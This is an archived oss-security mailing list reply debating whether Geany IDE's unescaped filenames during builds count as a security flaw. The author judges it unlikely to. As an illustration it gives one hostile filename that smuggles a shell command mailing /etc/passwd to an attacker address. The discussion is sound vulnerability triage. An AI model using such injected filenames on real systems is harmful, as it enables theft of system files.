Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Thu, 13 Dec 2012 11:52:26 +0100
From: Andreas Ericsson <ae@....se>
To: oss-security@...ts.openwall.com
CC: Eitan Adler <lists@...anadler.com>, 
 "Steven M. Christey" <coley@...us.mitre.org>,
 Nick Treleaven <nick.treleaven@...nternet.com>, 
 Colomban Wendling <lists.ban@...besfolles.org>,
 Enrico Troeger <enrico.troeger@...na.de>, 
 Matthew Brush <mbrush@...ebrainz.ca>,
 Frank Lanitz <frank@...nk.uvena.de>, josef@...icpanda.com, 
 jonathan.underwood@...il.com
Subject: Re: Geany IDE not escaping filenames during compilation
 / build - a security issue or not?

On 12/13/2012 06:54 AM, Eitan Adler wrote:
> On 12 December 2012 11:51, Jan Lieskovsky <jlieskov@...hat.com> wrote:
>> The questions:
>> 1) should Geany escape the filenames?,
> 
> Up to the maintainers.
> 
>> 2) is this a security issue or not?
> 
> Unlikely.  Is there a way a malicious document could cause code
> execution without user action?
> 

Extremely unlikely. The way to get someone to trigger this is to send
a source-file to a developer who then opens it in geany without realizing
that the file is named "mail evil@...kdom.com -s teehee < /etc/passwd".
The "attacked" developer then need to attempt to build it from geany's
internal "build now" button.

A simpler misdeed of similar charactaristics would be to ship a bogus
./configure script that people (who are not developers, mind you)
blindly run and which executes bogus commands on behalf of the logged
in user.

Since the latter isn't really CVE-worthy, I doubt the former even
comes close.

-- 
Andreas Ericsson                   andreas.ericsson@....se
OP5 AB                             www.op5.se
Tel: +46 8-230225                  Fax: +46 8-230231

Considering the successes of the wars on alcohol, poverty, drugs and
terror, I think we should give some serious thought to declaring war
on peace.

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.